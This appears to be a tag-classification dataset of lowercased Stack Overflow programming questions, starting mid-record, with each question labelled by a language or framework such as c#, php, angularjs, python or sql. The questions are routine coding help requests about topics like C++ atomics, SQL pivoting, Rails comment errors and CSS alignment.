2).range.text =  this works lol 2 2 ;         table.borders.outsidelinewidth = wdlinewidth.wdlinewidth225pt;     } } //     doc.inlineshapes.addpicture(@ d:\programozás\ohv\ohv\ohv\bin\debug\capture.jpg   false  true); doc.saveas2(@ d:\programozás\ohv\doksi.docx );  console.writeline( exit ); try {     //novacode.docx docx = novacode.docx.load(@ d:\programozás\ohv\doksi.docx );     //docx.saveas(@ d:\programozás\ohv\doksi.pdf );     doc.exportasfixedformat(@ d:\programozás\ohv\doksi.pdf  wdexportformat.wdexportformatpdf);     doc.close();     app.quit(); } catch (exception e) {     console.writeline(e.message);     console.readline(); } </code></pre>,c#
need to create excel sheet in users desktop  in my project i need to create an excel file in users desktop. code written in my visual studio is.   <pre><code>    string spathtestdata1 =  \\adaptivemodulations.xls ;                     string spathtestdata = environment.getfolderpath(environment.specialfolder.desktop) +  \\adaptivemodulations  + spathtestdata1;                     string sheet =  sheet1 ;                     string path = environment.getfolderpath(environment.specialfolder.desktop) +  \\adaptivemodulations ;   if (!directory.exists(path))                 {                     directory.createdirectory(path);                     excelutils.createexcelfile(spathtestdata sheet);                 }                 else                 {                     excelutils.setexcelfile(spathtestdata sheet);                   } </code></pre>   this code is working perfectly in my system and creating folder with excel file but when i copied the exe from c:\visual studio 2015\projects\amcalculator\amcalculator\bin\debug folder and saved in another machine it showing error can anyone help on this,c#
php finally usage  is there any point in using the <code>finally</code> block in php  if it always runs no matter what  could you just not have it in the block  for example  these will output the same:    1.   <pre><code>try {     echo  hello ;     switch(false) {         case 1==2:             throw new exception( error );             break;     } } catch(exception $e) {     echo $e-&gt;getmessage(); } finally {     echo  world ; } </code></pre>   2.   <pre><code>try {     echo  hello ;     switch(false) {         case 1==2:             throw new exception( error );             break;     } } catch(exception $e) {     echo $e-&gt;getmessage(); } echo  world ; </code></pre>   they ll both echo:   <pre><code>hello error world </code></pre>   this confuses me lol,php
ng-click is removed by ngsanitize  i am getting setting some html text in my <code>$scope</code> variable which also contains <code>ng-click</code> attribute so that it on click of a link it will call angular controller function.   <pre><code>$scope.message =  dum messge&lt;a data-ng-click= loadcalenderdata() &gt;retry&lt;/a&gt; ;  //view &lt;div ng-bind-html= message &gt;&lt;/div&gt; </code></pre>   i tried both <code>data-ng-click</code> and <code>ng-click</code> but no luck.,angularjs
subtract the preceding value from the current value using php while loop  hi i have 5 rows in my table like    <pre><code>id  value 1   10 2   25 3   30 4   40 </code></pre>   now i want to display the value in table format like    <strong>10</strong>  [15 (ie. 25 -10)]  <strong>25</strong> [15]  <strong>30</strong> [10]   <strong>40</strong>,php
why atomic does not work with auto varaible  i am not sure what is wrong with following statements    its giving me compilation errors. can we not use  auto  with atomic variables    <pre><code>#include &lt;iostream&gt; #include&lt;future&gt; #include &lt;atomic&gt; using namespace std;  int main() {   atomic&lt;int&gt; value(10);   auto   newvalue = value; } </code></pre>   but if i replace  auto  with  int    it works. why    <pre><code>int main() {   atomic&lt;int&gt; value(10);   int newvalue = value; } </code></pre>   compilation error with  auto     <pre><code> ||=== build: debug in hello (compiler: gnu gcc compiler) ===|  f:\3d\c++codeproject\hello\main.cpp||in function  int main() :|  f:\3d\c++codeproject\hello\main.cpp|11|error: use of deleted function    std::atomic&lt;int&gt;::atomic(const std::atomic&lt;int&gt;&amp;) | c:\program files  (x86)\codeblocks\mingw\lib\gcc\mingw32\5.1.0\include\c++\atomic|612|note:  declared here| ||=== build failed: 1 error(s)  0 warning(s) (0 minute(s)  1 second(s)) ===| </code></pre>,c++
trimming a date off a string sometimes php  i have strings that sometimes look like this <code>8:30am12/14/15</code> (the dates at the end can vary) and sometimes look like this <code>8:30am</code>. my problem is that i need them all to look like the later example  but i can t figure out how to trim the date off the end of these every time they show up.    i know of functions that can remove a specific amount of letters at the end of a string  but that doesn t work for me as sometimes the strings are fine. this is a result of about a year of user data entry with mistakes. i am rewriting the software we are using and have implemented much better data entry validation but i am trying to convert old entries into the new software.,php
why is sys.stdin.read(4).encode( utf-8 ) returning more than 4 bytes   i am passing a json object from chrome to my python app s stdin via the chrome/javascript sendnativemessage function.    sometimes  the below code works.   other times (i believe on larger messages)  it does not work.   i m not sure what i m doing wrong  but i will say that sometimes sys.stdin.read(4).encode( utf-8 ) seems to read 7 bytes instead of the specified 4 bytes  and that s when it breaks with a  struct.error: unpack requires a byte object of length 4  message.    can someone let me know what i m doing wrong here    <pre><code># on windows  the default i/o mode is o_text. set this to o_binary # to avoid unwanted modifications of the input/output streams. import os  msvcrt msvcrt.setmode(sys.stdin.fileno()  os.o_binary) msvcrt.setmode(sys.stdout.fileno()  os.o_binary)  # read the message length (first 4 bytes). #for line in sys.stdin: text_length_bytes = sys.stdin.read(4).encode( utf-8 )  logging.info( text_length_bytes )  # unpack message length as 4 byte integer. text_length = struct.unpack( i   text_length_bytes)[0]  logging.info( text_length )  # read the text of the message. text = json.loads( sys.stdin.read(text_length) ) </code></pre>,python
splitting one column in a sql query into multiple columns  the idea is this  i have one column that has values that range from 0 to 25 000.    i want to basically have one column that counts the number of values from 0 to 5000  5000-10000  etc.    where would i start  and how would i do such a thing,sql
summing based on different currencies  i am looking to sum the total price in <code>gbp</code> <code>sum(price)</code> but i need to convert usd to gbp by multiplying by <code>0.74</code>   <pre><code>+---------+-------+ | country | price | +---------+-------+ | gbp     |     1 | | usd     |     2 | | gbp     |     3 | | usd     |     4 | +---------+-------+ </code></pre>   i have tried this sql:   <pre><code>select     if(`country` =  usd           sum(price * 0.74)           sum(price)     ) as price from `products` </code></pre>   but it is returning the error:   <blockquote>    this is incompatible with sql_mode=only_full_group_by  </blockquote>,mysql
cannot convert type  task<derived>  to  task<interface>   i have the following function with a delegate parameter that accepts a type of one interface and returns a task of another.   <pre><code>public void bar(func&lt;imessage  task&lt;iresult&gt;&gt; func) {     throw new notimplementedexception(); } </code></pre>   i also have a function with a parameter as an instance of <code>imessage</code> and returns a task. <code>message</code> and <code>result</code> are implementations of <code>imessage</code> and <code>iresult</code> respectively.   <pre><code>private task&lt;result&gt; dosomething(message m) { return new task&lt;result&gt;(() =&gt; new result()); } </code></pre>   i receive an error when i pass dosomething into bar.   <pre><code>bar(m =&gt; dosomething((message)m)); // cannot convert type  task&lt;result&gt;  to  task&lt;iresult&gt;  </code></pre>   why won t <code>result</code> implicitly convert into <code>iresult</code>      i would imagine it s an issue with covariance. however  in this case  <code>result</code> implements <code>iresult</code>. i ve also tried to solve the covariance issue by creating an interface and marking <code>tresult</code> as covariant.   <pre><code>public interface ifoo&lt;tmessage  out tresult&gt; {     void bar(func&lt;tmessage  task&lt;tresult&gt;&gt; func); } </code></pre>   but i get the error:   <blockquote>    invalid variance: the type parameter  tresult  must be invariantly   valid on <code>ifoo&lt;tmessage  tresult&gt;.bar(func&lt;tmessage  task&lt;tresult&gt;&gt;)</code>.    tresult  is covariant.  </blockquote>   now i m stuck. i know i have an issue with covariance but i m not sure how to solve it. any ideas     edit: this question is specific to tasks. i ran into this problem by implementing <code>async await</code> in my application. i came across this generic implementation and added a <code>task</code>. others may have the same issues during this type of conversion.    solution: here s the solution based on the answers below:   <pre><code>func&lt;task&lt;result&gt;  task&lt;iresult&gt;&gt; convert = async m =&gt; await m; bar(m =&gt; convert(dosomething((message)m))); </code></pre>,c#
difference between & and * as a parameter  what is the difference between the following two parameter types  the first accepts a pointer  which is in effect a memory address  and the second is also a memory address     <pre><code>foo(float&amp; bar) {     // do stuff }  foo(float* bar) {     // do stuff } </code></pre>   could you not call both with:   <pre><code>float pow = 3.0f;  foo(&amp;pow); </code></pre>   or   <pre><code>float* pow = 3.0f;  foo(pow); </code></pre>,c++
passing html value through hyperlink  i have a page with textbox and a hyperlink.    requirement:    when the user clicks the hyperlink  the value from the textbox needs to be passed..currently i have given a dummy value of  a .   <pre><code>&lt;div&gt;     &lt;input type= text /&gt;     &lt;a id= test  href= ./csv/ value=a &gt;click&lt;/a&gt; &lt;/div&gt; </code></pre>,html
mysql updating duplicate ids based on match and no match criteria all in one table  hopefully i can explain this clearly.  i have a table that has what need to be unique ids for people within a group.  the ids are generated using first 3 letters of the first name and date of birth.  normally  with smaller groups (less than 500) this works fine.  however in large groups we do hit upon some duplicates.  we d then just append a -1  -2  -3 etc. to any duplicate ids.  for example:   <pre><code>id    group          uid            first_name 1     123456         ale19900123    alexis 2     123456         ale19900123    alexander 3     123456         ale19900123    alejandro 4     789789         ale19900123    alex </code></pre>   what i d like to do is for id 2 and 3 append a -1 and -2 respectively to their uid field so that 1 2 and 3 are now unique (group + uid).  id 4 would be ignored because the group is different    i ve started with something like this:   <pre><code>update table a   join table b     on b.group = a.group    and b.uid = a.uid    and b.first_name &lt;&gt; a.first_name    and b.id &lt; a.id    set a.duplicate_record = 1; </code></pre>   that should set the duplicate_record field = 1 for ids 2 and 3.  but then i still need to append a -1  -2  -3 etc. to those uids and i m not sure how to do that.  maybe instead of just setting a flag = 1 for duplicate i should set the count of records that are duplicates,mysql
what is the best practice for injecting factories  <pre><code>angular    .module( password_forgot   [ app.auth ])    .controller( password_forgot   main);  main.$inject = [ auth ];  function main(auth) {    auth.sendemail().then(function(){      //blablabla    }); } </code></pre>   should i inject <code>myfactories</code> 3 times  what is the best practice for doing this,angularjs
bind value to ng-init using ng-model  i have one <code>select</code> field and one  input  field for both fields am getting data from database.<br>selected option will be checked defaultly based on db value.when i change dropdown option  <code>balance</code> field will be auto populated.<br>now my problem is <code>balance</code> field value is auto populating when i change dropdown. but by default balance field value is not auto populating for selected option.<br>whats wrong here <br><br>html:   <pre><code>&lt;form ng-app= myapp  ng-controller= myctrl  ng-repeat= data in leavedetails &gt;          &lt;div&gt;             &lt;label&gt;leave type&lt;/label&gt;             &lt;select type= text  ng-model= selectedname  ng-init= selectedname=data.leavetypeid  ng-options= data.id as data.name for data in leavetypes  ng-change= leavebalance(selectedname) &gt;&lt;/select&gt;         &lt;/div&gt;         &lt;div&gt;             &lt;label&gt;availabe leaves&lt;/label&gt;             &lt;input type= text   ng-init= balancecount=data.balance  ng-model= balancecount &gt;         &lt;/div&gt;   &lt;/form&gt; </code></pre>   script:   <pre><code>&lt;script&gt;     var app=angular                     .module( myapp   [])                     .controller( myctrl   function ($scope  $http) {                          $scope.init = function () {                            $scope.loadeditlevdetails();                         }                          $scope.loadeditlevdetails = function (id) {                             $scope.id = { leaverequestid: id };                             var requestheaders = {                                  content-type :  application/json                              }                             var httprequest = {                                 method:  post                                   url:  /user/details                                   headers: requestheaders                                  data: $scope.id                             }                             $http(httprequest).then(function (response) {                                 $scope.leavedetails = response.data;                              })                         }                         $scope.leavebalance = function (selectedvalue) {                              $scope.leavetypeid = { leavetypeid: selectedvalue };                             var requestheaders = {                                  content-type :  application/json                              }                             var httprequest = {                                 method:  post                                   url:  /user/balancecount                                   headers: requestheaders                                  data: $scope.leavetypeid                             }                             $http(httprequest).then(function (response) {                                 $scope.noofvalues = response.data;                                 $scope.balancecount = $scope.noofvalues[0].balance_count;                             })                         }                      }) &lt;/script&gt; </code></pre>,angularjs
how can a .net program update itself   i ve written a program that updates itself if it finds a newer version on a server but i m finding it hard to implement cleanly.    checking a remote server and downloading the file are easy enough but then what  it can t simply file.copy( newversion.exe   myprogram.exe ) because myprogram is running and the file is locked.    i do it by downloading two files newversion and update. myprogram then launches update and exits. update waits for two seconds  does the copy  then launches myprogram (which is now the updated version) and exits. myprogram looks for update when it starts and deletes it and newversion if it finds them. mypogram is now the new version with no files left laying around.    there must be a better way than this so what s the .net way for a program to update itself     ps. sorry if this question appears twice - i got a  stack overflow is broken  page the first time i submitted it.,.net
memory leak on delay job what s the better alternative on rails  i send mails with delay job worker.    the web app runs on ec2 instance with 2gb ram  somehow  the instance runs out of memory after booting a while    i guess the root cause is <code>delayed job</code>.    what s the good alternative for that.    can i send the mail in <code>thread.new</code>   therefore the user won t be blocked on sending email    here s how i run the servers and worker on boot   <pre><code>every :reboot do   command   cd #{project} ; git pull origin develop     command   cd #{project} ; memcached -vv     command   cd #{project} ; bundle exec rake delayed::backend::mongoid::job.create_indexes     command   cd #{project} ; bundle exec rake jobs:work     command   cd #{project} ; bundle exec puma config/puma.rb    command   cd #{project} ; ruby app_periodic_tasks.rb  end </code></pre>,ruby-on-rails
how to test if a c-string contains characters outside certain ascii range   so  let say i have simple code below:   <pre><code>int main() {     char string1[256]= test1 ;     char string2[256]= testok ; //also could be  test ok       if(//string doesn t contain  a-z  || doesn t contain  space )     {         //do something     }      return 0; } </code></pre>   where the if statement is  all i would want to do is have string1 go into the if statement  because it contains something other than ascii characters a-z or a space. however  in both examples of string2  i would want them to bypass the if statement because it contains a-z or may have a space  which all would be ok and should mean the char string doesn t go into the if statement.    i can not find a simple way to do this with c  to test for this. i have considered just looping through all the characters and testing if the ascii value is of a certain value range or equals 32 for the space. however  that seems overly complicated. also  i purposely set the 256 larger than the amount of characters in the string  so i worry about null characters messing things up possibly too.    anyways  is there a simple way to do a test like this in c  thanks for any help.,c
global name  class  is not defined - python  i defined a class called <code>parser</code> in a file called <code>parser.py</code>  that parses a test result....    <pre><code>import sys import re  class parser:      def __init__(self):         pass      def udp_parse(self  filename=  ):        # ... some code over here </code></pre>   now  in <code>main.py</code>. i have:   <pre><code>from dbconn import * from parser import * import os import subprocess  def main()      dbconn = dbconn()     parse = parser()     # more code here ...  if __name__ ==  __main__ :     main() </code></pre>   and i m getting:   <pre><code>traceback (most recent call last):   file  iperf.py   line 108  in &lt;module&gt;     main()   file  iperf.py   line 49  in main     parse = parser() nameerror: global name  parser  is not defined </code></pre>   <code>parser.py</code> is in the same directory as <code>dbconn.py</code> and <code>main.py</code>. <code>dbconn()</code> works without any problem  but i m not understanding why <code>parser()</code> can t work too ...,python
which is more correct: <h1><a>...</a></h1> or <a><h1>...</h1></a>  are both <code>&lt;h1&gt;&lt;a ...&gt; ... &lt;/a&gt;&lt;/h1&gt;</code> and <code>&lt;a ...&gt;&lt;h1&gt; ... &lt;/h1&gt;&lt;/a&gt;</code> valid html  or is only one correct  if they are both correct  do they differ in meaning,html
executing javascript function with <a href>  i have the following html:   <pre><code>&lt;a href=   id= category_button &gt;categories&lt;/a&gt; </code></pre>   and this function:    <pre><code>$(function() { var bar3 = $( footerslidecontainer_mobile );  $(window).scroll(function() {     if($(this).scrolltop() &gt; 300) {         bar3.stop().animate({ height:  250px  });     } else {         bar3.stop().animate({ height:  0px  });     } }); }); </code></pre>   right now the function is called when the user scrolls down. but i would like to call it when a user clicks on the <code>&lt;a&gt;</code> tag. i would appreciate some help! thanks you!,javascript
compiling an element with angularjs attributes after the page is loaded  i need to create multiple <code>&lt;a ng-click= controller.dothat(x) &gt;</code> elemets  based on a response from some <code>$http</code> call. and add them to an element designated by its id attribute.    i am using angularjs v1.6.4. please help.,angularjs
inserting the content to the colume in sqlite  my sqlite table is like this   <pre><code> content_id      content_no      content_1       content_2   1               1:1             null            1:1 text   2               1:2             null            1:2 text </code></pre>   now i want to insert the contents to  content_1 . only is content_no matches to content_1 s 1:1.    my insertion code is like this:   <pre><code> cmd.commandtext =  insert into content (content_1) values ( ) ;   sqliteparameter field3 = cmd.createparameter();  cmd.parameters.add(field3);  field3.value = node.innertext; </code></pre>   but it is inserting the content like this   <pre><code> content_id      content_no      content_1       content_2   1               1:1              null           1:1 text   2               1:2              null           1:2 text                                  1:1 text                                         1:2 text        </code></pre>   i dont want like this. the last 2 lines should move to first 2 lines,c#
positioning of the elements - not in the same line  i have started learning android development and i have stumbled across a thing i don t quite understand why is it happening. here is the code i am having trouble with:       <pre><code>    &lt;linearlayout         android:orientation= horizontal          android:layout_width= match_parent          android:layout_height= match_parent &gt;          &lt;linearlayout             android:orientation= horizontal              android:layout_width= match_parent              android:layout_height= match_parent              android:layout_weight= 1 &gt;              &lt;textview                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:textappearance=  android:attr/textappearancelarge                  android:text= @string/lbl_title                  android:id= @+id/lbl_title                  android:layout_margintop= @dimen/activity_vertical_margin  /&gt;              &lt;edittext                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:id= @+id/edittext                  android:layout_weight= 2                  android:layout_margintop= @dimen/activity_vertical_margin  /&gt;         &lt;/linearlayout&gt;          &lt;linearlayout             android:orientation= horizontal              android:layout_width= match_parent              android:layout_height= match_parent              android:layout_weight= 1 &gt;              &lt;textview                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:textappearance=  android:attr/textappearancelarge                  android:text= @string/lbl_title                  android:id= @+id/lbl_date                  android:layout_margintop= @dimen/activity_vertical_margin  /&gt;              &lt;textview                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:textappearance=  android:attr/textappearancelarge                  android:text= -                  android:id= @+id/textview2                  android:layout_margintop= @dimen/activity_vertical_margin  /&gt;/&gt;         &lt;/linearlayout&gt;     &lt;/linearlayout&gt; &lt;/linearlayout&gt; </code></pre>   which results in the following:    <a href= https://i.stack.imgur.com/pcw5q.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pcw5q.png  alt= enter image description here ></a>    as you can see  even though my two containers are exactly the same  for unknown reason text under the second container is located slightly above the first element. why is this so     p.s. these containers are under the <code>relativelayout</code> panel.,android
maximum length of a html title  does anyone know what is the maximum length i can enter for the html title attribute and whether special characters are allowed,html
what is the difference between src= /images/logo.gif  and src= images/logo.gif   <pre> &lt;img src= images/logo.gif  /&gt; </pre>   is equivalent to   <pre> &lt;img src= ./images/logo.gif  /&gt; </pre>   but   <pre> &lt;img src= /images/logo.gif  /&gt; </pre>   is different.    where is the third item looking for logo.gif,html
vertical align and same height using display table  i wish to have each li the same height and then display the ing centred (vertically).    <a href= http://jsfiddle.net/lr7cu/  rel= nofollow >http://jsfiddle.net/lr7cu/</a>    i ve looked into display table cell but this fails to work for me.    i put    <pre><code> display: table </code></pre>   on the ul    and   <pre><code>display: table-cell  </code></pre>   on the li    but no luck.,css
javascript: why is the innerheight not updating   i m trying to catch the new <code>innerheight</code> when resizing my window. (i m using <code>innerheight</code> to specify height properties for dom elements).     i m finding in practice that the value of <code>innerheight</code> is set when the page loads and does not update during resizing.    <pre><code>var onresize = function(e) {    innerheight = e.target.innerheight;    console.log( inner height =   + innerheight); }  window.addeventlistener( resize   onresize); </code></pre>   could someone suggest what i should be telling my <code>onresize</code> variable to do instead  (and i d be very grateful if anyone could spare the time to explain why this isn t working -- this is my first time playing around with resizing and <code>innerheight</code>.)    thanks!    edit: to add  i m using chrome and the console isn t reporting any problems.,javascript
how do i find the first instance of a string in a text file using python   i am trying to search text files for the first instance of string and return everything else in that first line  but my current program finds and returns the last line with the string.    any idea what i need to do     thanks!    this is what my code looks like:   <pre><code>#open search file as read only with open(fullpath   r ) as searchfile:       #clear variable names      partname = partsize = none       #search file for strings  trim lines and save as variables      for line in searchfile:           if  part file name  in line:              x = line              partname = x[18:-1]           if  part size  in line:              y = line              partsize = y[18:-1]      #open csv file  write variables  close csv file      storefile = open( c:/documents and settings/desktop/blue pega3.csv    a )      storefile.write( %s %s %s\n  %(partname  partsize  fullpath))      storefile.close()      #close search file      searchfile.close()         ` </code></pre>,python
insert multiple table but same columns name  how to write sql code insert multiple table but same columns name   <pre><code>-------------------       ------------------- |      table      |       |     tableth     | |-----------------|       |-----------------| |id(ai)           |       |id(ai)           | |name             |       |name             | |address          |       |address          | -------------------       ------------------- </code></pre>   this code not working  how can i do   <pre><code>insert into table tableth (name address) values ( aaa   bbb ); </code></pre>,mysql
sorting of table  i have looked at many sorting solutions for jquery but haven t found what i m looking for yet.    i am trying to sort a table which has rows and columns that need to be sorted: <a href= http://jsfiddle.net/rveze/  rel= nofollow >http://jsfiddle.net/rveze/</a>   <pre><code>&lt;table&gt; &lt;tr&gt;     &lt;td&gt;3&lt;/td&gt;     &lt;td&gt;5&lt;/td&gt;     &lt;td&gt;7&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;1&lt;/td&gt;     &lt;td&gt;2&lt;/td&gt;     &lt;td&gt;4&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;3&lt;/td&gt;     &lt;td&gt;8&lt;/td&gt;     &lt;td&gt;9&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   i need the table to be sorted from left to right  top to bottom. but all plugins i found so far can only sort by row.    i have tried a few simple solution by taking all the td s out  sorting them and re-adding them  but for a large amount (around 100) the performance is terrible  it needs to be quite snappy for tablets too.    anyone came across something like this,jquery
activerecord::recordnotfound in commentscontroller#create  couldn t find post with  id =  after clicking on create comment  i got error like this    <a href= https://i.stack.imgur.com/bx7c7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bx7c7.png  alt= enter image description here ></a>    coment controller:    ` i used friendlyid instead of post id.    error:    activerecord::recordnotfound in commentscontroller#create couldn t find post with  id =    class commentscontroller &lt; applicationcontroller   <pre><code>def create     @post = post.find(params[:post_id])     @comment = @post.comments.create(params[:comment].permit(:name  :body))     redirect_to post_path(@post) end       comments form: _comments.html.erb      `&lt;%= form_for([@post @post.comments.build]) do |f| %&gt;        &lt;p&gt;         &lt;%= f.label :name %&gt;         &lt;%= f.text_field :name %&gt;        &lt;/p&gt;        &lt;p&gt;         &lt;%= f.label :body %&gt;&lt;br&gt;         &lt;%= f.text_area :body %&gt;        &lt;/p&gt;        &lt;p&gt;         &lt;%= f.submit %&gt;        &lt;/p&gt;     &lt;% end %&gt;`  posts controller:  post_controller.rb      `class postscontroller &lt; applicationcontroller       before_action :set_post  only: [:show  :edit  :update  :destroy]        def index         @posts = post.all.order( created_at desc )       end        def show       end        def new         @post = post.new       end        def edit       end        def create         @post = post.new(post_params)          respond_to do |format|           if @post.save             format.html { redirect_to @post  notice:  post was successfully created.  }             format.json { render :show  status: :created  location: @post }           else             format.html { render :new }             format.json { render json: @post.errors  status: :unprocessable_entity }           end         end       end        def update         respond_to do |format|           if @post.update(post_params)             format.html { redirect_to @post  notice:  post was successfully updated.  }             format.json { render :show  status: :ok  location: @post }           else             format.html { render :edit }             format.json { render json: @post.errors  status: :unprocessable_entity }           end         end       end        def destroy         @post.destroy         respond_to do |format|           format.html { redirect_to posts_url  notice:  post was successfully destroyed.  }           format.json { head :no_content }         end       end        private         def set_post           @post = post.friendly.find(params[:id])         end          def post_params           params.require(:post).permit(:title  :description  :image)         end     end     `     model: post.rb      class post &lt; applicationrecord     has_many :comments     extend friendlyid     friendly_id :title  use: :slugged      has_attached_file :image  styles: { medium:  900x380#   thumb:  300x165&gt;  }     validates_attachment_content_type :image  content_type: /\aimage\/.*\z/ end </code></pre>,ruby-on-rails
should i use a large javascript file or small one  i have a javascript file about 6000+ lines of codes created by myself. now it has functions for different sections of my site.. now what i want to ask is that should i use that large file or divide it in parts for respective sections and call it in respective section.,javascript
what s the difference between tostring( d2 ) .tostring( 00 )  i just noticed some of my code uses:   <pre><code>tostring( d2 ) </code></pre>   and other uses:    <pre><code>.tostring( 00 ) </code></pre>   both are being used to convert numbers from 0 to 99 into strings from 00 to 99. that is strings where the numbers 0-9 have a leading zero.     do both of these methods do the same thing,c#
jquery: finding previous div <pre><code>&lt;div class= a  style= display:none &gt;content 1&lt;/div&gt; &lt;div class= a  style= display:none &gt;content 2&lt;/div&gt;  some other html...  &lt;span id= b &gt;foobar&lt;/span&gt; </code></pre>   how can i match the first div class= a  above the span id= b  to show() it  the id= b  is the only thing i know before.,jquery
creating time spans in r in 12 hour format  i am trying to create to a span of 1:24 hours in r with the desired display as 1 am  2 am....12 noon  1 pm 2 pm.....12 midnight. i have created it for 1:11 am and then 12 pm through looping but not getting how to again write 1:11 pm and 12 midnight. if anyone can pls help me on this  would be grateful.   <pre><code>x&lt;-2017 y&lt;-(1) z&lt;- am  repeat{   cat( welcome to india  x y z  \n )   x&lt;-x+1   y&lt;-y+1   if(y&lt;12){     z= am    }   else{     z= pm    }    if(x&gt;2028) break } </code></pre>   thanks in advance.,asp.net
overriding @property declarations in objective-c  i often find that i know that a certain property of a base class will always be a certain type in a subclass.  for instance  in the example below  property <code>obj</code> will always be an nsstring object in derived.  however  i need this property to be the more generic id type in class base.   <pre><code>@interface base @property (strong  nonatomic) id obj; @end  @implementation base //@synthesize obj = obj_; @dynamic obj; @end   @interface derived : base @property (strong  nonatomic) nsstring *obj; @end  @implementation derived @synthesize obj = obj_; @end</code></pre>   is this code correct   i am concerned that @synthesize appears twice.  is this creating two properties  or does the @synthesize declaration in derived override the one in base     <strong>edit:</strong> changing @synthesize to @dynamic in base makes more sense.    <strong>edit:</strong> this requires ios sdk 5.,objective-c
buffer.blockcopy does not work on double array   the following code   <pre><code>double[] src = new[] { 1d  1d  2d }; double[] dst = new[] { 0d  0d  0d }; buffer.blockcopy(src  0  dst  0  3); for (int i = 0; i &lt; 3; i++) {     console.write(src[i] +    ); } console.writeline(); for (int i = 0; i &lt; 3; i++) {     console.write(dst[i] +    ); } console.writeline(); </code></pre>   outputs    <pre><code>1 1 2  0 0 0 </code></pre>   i expected the same value on both lines     <a href= https://dotnetfiddle.net/ah2ebt  rel= nofollow >https://dotnetfiddle.net/ah2ebt</a>,.net
which event would notify me that the scrolling is finished in a scroll bar   which event would notify me that the scrolling is finished in a scroll bar  i have a scroll bar in a panel. vscrollbar1_scroll event tells me that scrolling has started. i want to be notified when it stops. which event to use in c#,c#
is it possible to override a designated initializer with a convenience initializer   some one wants to override <code>uitableviewcontroller</code> s designated initializer <code>- (instancetype)initwithstyle:(uitableviewstyle)style</code>. he added the following code:   <pre><code>- (instancetype)initwithstyle:(uitableviewstyle)style {     self = [self init];      return self; } </code></pre>   and gets 2 warnings :   <ol> <li>designated initializer should only invoke a designated initializer on  super </li> <li>designated initializer missing a  super  call to a designated initializer of the super class</li> </ol>   it might be a bad practice to do so. however  is it possible at all to override a designated initializer with a convenience initializer without raising warnings     thanks!,ios
downloading web page source code using links  i d like to quickly download source codes of websites in html  which links are listed on another website.    how can i do this,html
how to sort data both  horizontally  and  vertically  with sql   a sample table:   <pre><code>+------+--------+---------+ |  id  |  type  |  date   | +------+--------+---------+ |    1 |    a   | 201205  | |    2 |    a   | 201206  | |    3 |    a   | 201206  | |    4 |    a   | 201207  | |    5 |    b   | 201205  | |    6 |    b   | 201206  | |    7 |    c   | 201206  | |    8 |    c   | 201206  | +------+--------+---------+ </code></pre>   the goal: to show the amount of each type every month:   <pre><code>+------+--------+--------+--------+ |      | 201205 | 201206 | 201207 | +------+--------+--------+--------+ |  a   |    1   |    2   |   1    | |  b   |    1   |    1   |   0    | |  c   |    0   |    2   |   0    | +------+--------+--------+--------+ </code></pre>   there are many months in the actual table  how to write the sql without laboriously using join     i used multiple join to do this  the sql started to be very long and i had to use another language to dynamically generate it.   <pre><code>select type ``  a.201205  b.201206  c.201207 from (select type from t group by type) foo left outer join (select count(id) `201205`  type from t where date =  201205  group by type) a using (type) left outer join  (select count(id) `201206`  type from t where date =  201206  group by type) b using (type) left outer join  (select count(id) `201207`  type from t where date =  201207  group by type) c using (type) </code></pre>   ps: i can t find a proper title for my post  please help me change it.,sql
rails / design array issue  in my  releases  show view i have the following code:   <pre><code>&lt;% i = @release.id %&gt; &lt;%= link_to image_tag( next.png )  release_path(i+1)  :class =&gt;  editrelease  %&gt; </code></pre>   which takes the user to the next result in the releases table.    i am hoping to only display this  next  button if an item exists in the array whose id value is one greater than the current release.    happy to re-write this section of the view / place code in model controller helper definition.  just trying to learn the correct rails way to solve this issue!    thank you!,ruby-on-rails
need span in middle of image but not working  i am trying bring text in middle regarding image but it s not working.    i tried this but not working either    <a href= https://stackoverflow.com/questions/489340/how-do-i-vertically-align-text-next-to-an-image-with-css >vertically align text next to an image </a>    html   <pre><code>&lt;div id= z  class= cz &gt;     &lt;div id= a  class= ca &gt;          &lt;img src= http://www.skateboardsofchoice.co.uk/assets/meta/130/130/1/blanks_88623933c05cc5bbb9d99ed2fe6a74e6.jpg  /&gt;     &lt;/div&gt;     &lt;div id= b  class= cb &gt;          &lt;span id= spanid  class= someclass &gt;some text&lt;/span&gt;         &lt;img src= http://www.ucl.ac.uk/library/images/ml_big_go.gif  /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.cz {      width:100%;      height: 30%;     float:left;     position:relative; }  .ca {      margin: 5px 0px 0px 30px; }  .cb {   position:absolute;     text-align: center;     vertical-align: middle;     right:0;     top:0;     margin: 20px 20px 0px 0px; } </code></pre>   <a href= http://jsfiddle.net/frsa5/116/  rel= nofollow noreferrer >http://jsfiddle.net/frsa5/116/</a>,html
why is stop a bool pointer in enumerateobjectsusingblock:   i understand <a href= https://stackoverflow.com/questions/12357904/what-is-the-bool-stop-argument-for-enumerateobjectsusingblock-used-for >what the <code>stop</code> parameter is for</a>  but i m curious about <strong>why</strong> this is a <code>bool *</code> instead of just a bool. is it because the value itself needs to exist outside of block scope  so that <code>enumerateobjectsusingblock:</code> has access to the value potentially assigned to it by the block itself,objective-c
